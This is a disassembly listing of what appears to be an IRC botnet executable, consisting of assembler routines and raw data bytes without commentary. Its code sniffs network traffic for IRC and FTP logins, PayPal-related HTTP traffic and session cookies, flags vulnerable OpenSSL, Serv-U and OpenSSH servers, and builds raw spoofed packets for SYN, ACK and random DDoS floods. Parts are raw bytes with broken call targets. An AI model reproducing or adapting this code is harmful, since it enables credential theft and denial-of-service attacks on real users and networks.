dd 0FFFF20B5h, 59266AFFh, 8D50FC8Bh, 0FFFB2085h, 50A5F3FFh
dd 0FFFD01E8h, 84589FFh, 20858D53h, 6AFFFFFDh, 45E85000h
dd 81000094h, 0ACC4h, 20858D00h, 53FFFFFBh, 0E850006Ah
dd 9430h, 0C70CC483h, 5C74FC45h, 106A0043h, 91D815FFh
dd 0BF0F004Ch, 0FC458BF0h, 57FC788Bh, 92D015FFh, 0C4F6004Ch
dd 6A7B7480h, 0D815FF14h, 66004C91h, 1F74C085h, 7EFFFE83h
dd 40FF831Ah, 0FF83157Eh, 0C7107D5Bh, 0F6E0BD84h, 1FFFFh
dd 0BDE90000h, 6A000001h, 0D815FF14h, 66004C91h, 1E74C085h
dd 2E7DF685h, 7E40FF83h, 5BFF8315h, 84C7107Dh, 0FFF6E0BDh
dd 2FFh, 192E900h, 0F6850000h, 84C7107Dh, 0FFF6E0BDh, 3FFh
dd 17EE900h, 84C70000h, 0FFF6E0BDh, 4FFh, 16EE900h, 0B48B0000h
dd 0FFF6E0BDh, 0BD848DFFh, 0FFFFF6E0h, 840FF685h, 158h
dd 8D002083h, 0FFFD2085h, 8FF83FFh, 0E8137550h, 8FB4h
dd 1F05A480h, 0FFFFFDh, 136E959h, 0A1E80000h, 3D00008Fh
dd 1B9h, 0FF397659h, 4C928815h, 0B84D8D00h, 50513C6Ah
dd 92A015FFh, 7D83004Ch, 0E7400A8h, 0FD20858Dh, 6850FFFFh
dd 43642Ch, 458D55EBh, 858D50B8h, 0FFFFFD20h, 64106850h
dd 64EB0043h, 0F0DFF83h, 0B985h, 20858D00h, 50FFFFFDh
dd 8F4BE8h, 59C08500h, 0D2840Fh, 15FF0000h, 4C9288h, 6AB84D8Dh
dd 0FF50513Ch, 4C92A015h, 0A87D8300h, 8D1D7400h, 0FFFD2085h
dd 0FC6850FFh, 8D004363h, 0FFFB2085h, 0B7E850FFh, 83000095h
dd 1FEB0CC4h, 50B8458Dh, 0FD20858Dh, 6850FFFFh, 4363E4h
dd 0FB20858Dh, 0E850FFFFh, 9596h, 8110C483h, 98ECh, 0B8458D00h
dd 0FF20B58Dh, 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh
dd 0FB24E850h, 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah
dd 9268h, 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 9253E8h
dd 0CC48300h, 0FE832EEBh, 83147401h, 0F7403FEh, 7402FE83h
dd 4FE8305h, 75FF1A75h, 8B07EBFCh, 0C083FC45h, 858D5007h
dd 0FFFFFD20h, 9B42E850h, 59590000h, 14FC4583h, 0A4FC7D81h
dd 0F004363h, 0FFFDE98Ch, 87D83FFh, 0B5840F00h, 0FFFFFFFBh
dd 0FFFF24B5h, 8BB3E8FFh, 6A59FFFFh, 0E1E89000h
db 0D4h, 2Dh, 2
byte_412B1F db 55h ; DATA XREF: sub_401AC7+4151o
dd 0B4B8EC8Bh, 0E8000102h, 9774h, 5608558Bh, 58016A57h
dd 256AF28Bh, 0FF4CBD8Dh, 8959FFFFh, 0A5F3F845h, 908289h
dd 0F6330000h, 458D106Ah, 0E85056E4h, 91B8h, 660CC483h
dd 2E445C7h, 15FF5600h, 4C9304h, 0FF4CB5FFh, 8966FFFFh
dd 83E8E645h, 59FFFF7Eh, 4415FF50h, 56004C93h, 26A036Ah
dd 0FFE84589h, 4C938415h, 83F88B00h, 7D89FFFFh, 0FF5D75FCh
dd 4C929815h, 858D5000h, 0FFFFFD4Ch, 436DC468h, 57E85000h
dd 83000094h, 75390CC4h, 562075D8h, 0FD4C858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF6C8Eh
dd 8D14C483h, 0FFFD4C85h, 0BE850FFh, 0FF000031h, 0DEE8D075h
dd 59FFFF8Ah, 0E8905659h, 22DD40Ch, 6AD0458Bh, 34C06910h
dd 89000002h, 43C24CB8h, 0E4458D00h, 15FF5750h, 4C9330h
dd 75FFF883h, 9815FF64h, 50004C92h, 0FD4C858Dh, 9868FFFFh
dd 5000436Dh, 93D9E8h, 0CC48300h, 75D87539h, 858D5620h
dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h
dd 6C10E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 308DE8h
dd 0FF575900h, 4C939C15h, 0D075FF00h, 0FF8A58E8h, 905659FFh
dd 2DD387E8h, 458D5602h, 565056E0h, 0F8458D56h, 6850046Ah
dd 98000001h, 0B015FF57h, 83004C92h, 6475FFF8h, 929815FFh
dd 8D50004Ch, 0FFFD4C85h, 6D6868FFh, 0E8500043h, 9356h
dd 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh, 8D50D475h
dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF6B8DE8h, 14C483FFh
dd 0FD4C858Dh, 0E850FFFFh, 300Ah, 15FF5759h, 4C939Ch, 0E8D075FFh
dd 0FFFF89D5h, 0E8905659h, 22DD304h, 6480BB53h, 0FFBF0043h
dd 8D0000FFh, 0FEFD4C85h, 505657FFh, 8FFBE8h, 0CC48300h
dd 0FD4C858Dh, 5756FFFEh, 0FC75FF50h, 931C15FFh, 0F883004Ch
dd 0FC840FFFh, 80000000h, 0FEFD55BDh, 0C67506FFh, 0FD58858Bh
dd 0BD80FFFEh, 0FFFEFD6Dh, 0F4458918h, 858DB475h, 0FFFEFD74h
dd 436D5C68h, 21E85000h, 59000093h, 7559C085h, 74858D9Dh
dd 68FFFEFDh, 436D4Ch, 930AE850h, 85590000h, 867559C0h
dd 0FF33C38Bh, 840FC085h, 0FFFFFF7Ah, 50085D89h, 0FD74858Dh
dd 0E850FFFEh, 92E8h, 59C08559h, 83470F75h, 8B180845h
dd 0E3750845h, 0FFFF55E9h, 74858DFFh, 50FFFEFDh, 0FD60B5FFh
dd 15FFFFFEh, 4C9234h, 50C0B70Fh, 0FFF475FFh, 4C939015h
dd 48D5000h, 0C5048B7Fh, 436494h, 708534FFh, 8D004364h
dd 0FFFD4C85h, 6D1868FFh, 680043h, 50000002h, 930BE8h
dd 1CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh
dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6A48E8FFh, 0C483FFFFh
dd 4C858D14h, 50FFFFFDh, 2EC5E8h, 0D3E95900h, 0FFFFFFFEh
dd 4C929815h, 0EC685000h, 8D00436Ch, 0FFFD4C85h, 20068FFh
dd 0E8500000h, 92B4h, 3910C483h, 755BD875h, 858D5620h
dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h
dd 69F0E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 2E6DE8h
dd 75FF5900h, 9C15FFFCh, 0FF004C93h, 36E8D075h, 59FFFF88h
dd 65E89056h
db 0D1h, 2Dh, 2
; =============== S U B R O U T I N E =======================================
sub_412E9B proc near ; CODE XREF: sub_4131AA+213p
; sub_4131AA+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CC074, eax
mov eax, offset dword_4CC074
retn
sub_412E9B endp
; =============== S U B R O U T I N E =======================================
sub_412EAA proc near ; CODE XREF: sub_4131AA+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_412EC4
loc_412EC0: ; CODE XREF: sub_412EAA+29j
; sub_412EAA+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412EC4: ; CODE XREF: sub_412EAA+14j
push offset dword_4290D4
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412EC0
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412EC0
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412EC0
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_412F0C
loc_412F08: ; CODE XREF: sub_412EAA+71j
; sub_412EAA+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F0C: ; CODE XREF: sub_412EAA+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412F08
push offset a366 ; "366 "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412F08
push offset a_login_0 ; ":.login"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412F08
push offset aLogin_1 ; ":!login"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
loc_412F4E: ; DATA XREF: ___:off_43A508o
jnz short loc_412F08
push offset aLogin_0 ; ":!Login"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412F08
push offset a_login ; ":.Login"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412F08
push offset a_ident ; ":.ident"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412F08
push offset aIdent_0 ; ":!ident"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz loc_412F08
push offset a_hashin ; ":.hashin"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz loc_412F08
push offset aHashin ; ":!hashin"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EAA endp
; =============== S U B R O U T I N E =======================================
sub_412FC1 proc near ; CODE XREF: sub_4131AA+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_412FDB
loc_412FD7: ; CODE XREF: sub_412FC1+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412FDB: ; CODE XREF: sub_412FC1+14j
push offset dword_4290D4
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412FD7
push offset aOper_0 ; "OPER "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_413001
loc_412FFD: ; CODE XREF: sub_412FC1+4Fj
; sub_412FC1+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413001: ; CODE XREF: sub_412FC1+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412FFD
push offset aOper ; "oper "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_412FFD
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412FC1 endp
; =============== S U B R O U T I N E =======================================
sub_413037 proc near ; CODE XREF: sub_4131AA+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_413051
loc_41304D: ; CODE XREF: sub_413037+29j
; sub_413037+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413051: ; CODE XREF: sub_413037+14j
push offset dword_4290D4
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_41304D
push offset aNick_1 ; "NICK "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_41304D
push offset a220 ; "220 "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_413088
loc_413084: ; CODE XREF: sub_413037+60j
; sub_413037+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413088: ; CODE XREF: sub_413037+4Bj
push offset a230 ; "230 "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_413084
push offset aUser_3 ; "USER "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_413084
push offset aPass_1 ; "PASS "
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413037 endp
; =============== S U B R O U T I N E =======================================
sub_4130BE proc near ; CODE XREF: sub_4131AA+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_4130D8
loc_4130D4: ; CODE XREF: sub_4130BE+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130D8: ; CODE XREF: sub_4130BE+14j
push offset dword_4290D4
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_4130D4
push offset aPaypal ; "paypal"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_4130FE
loc_4130FA: ; CODE XREF: sub_4130BE+4Fj
; sub_4130BE+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130FE: ; CODE XREF: sub_4130BE+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_4130FA
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_4130FA
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_4130FA
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4130BE endp
; =============== S U B R O U T I N E =======================================
sub_413145 proc near ; CODE XREF: sub_4131AA:loc_41356Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_41315F
loc_41315B: ; CODE XREF: sub_413145+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41315F: ; CODE XREF: sub_413145+14j
push offset dword_4290D4
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_41315B
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_413185
loc_413181: ; CODE XREF: sub_413145+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413185: ; CODE XREF: sub_413145+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_413181
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41C080
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131AA proc near ; DATA XREF: sub_401AC7+429Eo
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C2A0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4C9318
lea eax, [ebp+var_3B8]
push eax
call dword_4C9388
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41CAB0
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4C9384
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_413250
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_413250: ; CODE XREF: sub_4131AA+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4C9330
cmp eax, 0FFFFFFFFh
jnz short loc_4132C6
call dword_4C9298
push eax
lea eax, [ebp+var_2B8]
push offset unk_437098
push eax
call sub_41C006
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4132A2
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409862
add esp, 14h
loc_4132A2: ; CODE XREF: sub_4131AA+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_415CEE
pop ecx
push edi
call dword_4C939C
push [ebp+var_34]
call sub_40B6C9
pop ecx
push ebx
nop
call near ptr 26F0000h
loc_4132C6: ; CODE XREF: sub_4131AA+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4C92B0
cmp eax, 0FFFFFFFFh
jnz short loc_41334C
call dword_4C9298
push eax
lea eax, [ebp+var_2B8]
push offset unk_437068
push eax
call sub_41C006
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_413328
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409862
add esp, 14h
loc_413328: ; CODE XREF: sub_4131AA+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_415CEE
pop ecx
push edi
call dword_4C939C
push [ebp+var_34]
call sub_40B6C9
pop ecx
push ebx
nop
call near ptr 26F0000h
loc_41334C: ; CODE XREF: sub_4131AA+13Cj
mov esi, 200h
loc_413351: ; CODE XREF: sub_4131AA+1D6j
; sub_4131AA+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4C931C
cmp [ebp+var_113AF], 6
jnz short loc_413351
push [ebp+var_113A4]
mov edi, dword_4271E4
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_413351
cmp [ebp+arg_0], 19h
jz short loc_413351
cmp edi, 6Eh
jz short loc_413351
cmp edi, 19h
jz short loc_413351
push [ebp+var_113AC]
call sub_412E9B
pop ecx
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41C006
push [ebp+var_113A8]
call sub_412E9B
add esp, 10h
push dword ptr [eax]
call near ptr 71AB401Ch
nop
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41C006
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41B960
add esp, 10h
test eax, eax
jle short loc_41344F
loc_41341B: ; CODE XREF: sub_4131AA+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_413432
mov byte ptr [eax], 20h
loc_413432: ; CODE XREF: sub_4131AA+283j
cmp byte ptr [eax], 0Ah
jnz short loc_41343A
mov byte ptr [eax], 20h
loc_41343A: ; CODE XREF: sub_4131AA+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41B960
cmp [ebp+var_4], eax
pop ecx
jl short loc_41341B
loc_41344F: ; CODE XREF: sub_4131AA+26Fj
cmp [ebp+arg_0], 50h
jz loc_413502
cmp edi, 50h
jz loc_413502
lea eax, [ebp+var_1138C]
push eax
call sub_412EAA
test al, al
pop ecx
jz short loc_413496
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_437034
jmp loc_413531
; ---------------------------------------------------------------------------
loc_413496: ; CODE XREF: sub_4131AA+2C7j
cmp edi, 50h
jz short loc_413502
lea eax, [ebp+var_1138C]
push eax
call sub_412FC1
test al, al
pop ecx
jz short loc_4134CC
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_437000
jmp short loc_413531
; ---------------------------------------------------------------------------
loc_4134CC: ; CODE XREF: sub_4131AA+300j
cmp edi, 50h
jz short loc_413502
lea eax, [ebp+var_1138C]
push eax
call sub_413037
test al, al
pop ecx
jz short loc_413502
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_436FCC
jmp short loc_413531
; ---------------------------------------------------------------------------
loc_413502: ; CODE XREF: sub_4131AA+2A9j
; sub_4131AA+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_4130BE
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_41356F
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_436F94
loc_413531: ; CODE XREF: sub_4131AA+2E7j
; sub_4131AA+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41C100
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_413351
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409862
add esp, 14h
jmp loc_413351
; ---------------------------------------------------------------------------
loc_41356F: ; CODE XREF: sub_4131AA+36Ej
call sub_413145
test al, al
pop ecx
jz loc_413351
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_436F5C
jmp short loc_413531
sub_4131AA endp
; ---------------------------------------------------------------------------
byte_41359D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+64A2o
dd 494EC81h, 458B0000h, 0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch
dd 80C7A5F3h, 290h, 1, 0D15FE890h, 0E8500228h, 8A88h, 0FE74858Dh
dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h
dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 4370C468h
dd 3E85000h, 3300008Ah, 20C483F6h, 75F87539h, 858D5620h
dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h
dd 6238E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh, 26B5E8h
dd 70B5FF00h, 0E8FFFFFDh, 0FFFF8085h, 0E8565959h, 22DC9B4h
db 90h
; ---------------------------------------------------------------------------
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41364F proc near ; CODE XREF: ___:004139C6p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4C9274
test eax, eax
jz short loc_41368F
xor eax, eax
jmp loc_413982
; ---------------------------------------------------------------------------
loc_41368F: ; CODE XREF: sub_41364F+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4C93A8
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_41397A
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4C92E4
cmp eax, 0FFFFFFFFh
jz loc_413970
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4C9304
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4C9304
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4C9304
mov [ebp+var_12], ax
call sub_41C062
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4C9304
push 12345678h
mov [ebp+var_14], ax
call dword_4C9300
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41375F
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4137B3
; ---------------------------------------------------------------------------
loc_41375F: ; CODE XREF: sub_41364F+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41377B
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4137B3
; ---------------------------------------------------------------------------
loc_41377B: ; CODE XREF: sub_41364F+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4137B3
call sub_41C062
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41C062
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4137B3: ; CODE XREF: sub_41364F+10Ej
; sub_41364F+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4C9304
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 27A0486h
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 27A018Bh
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41DA20
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413801: ; CODE XREF: sub_41364F+2E2j
; sub_41364F+2F0j
mov [ebp+var_4], bx
call sub_41C062
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4C9304
mov [ebp+var_14], ax
call sub_41C062
mov edi, eax
shl edi, 10h
call sub_41C062
or edi, eax
push edi
call dword_4C9304
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4C9300
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4C9304
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CAB0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CAB0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA53
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CAB0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CAB0
push 4
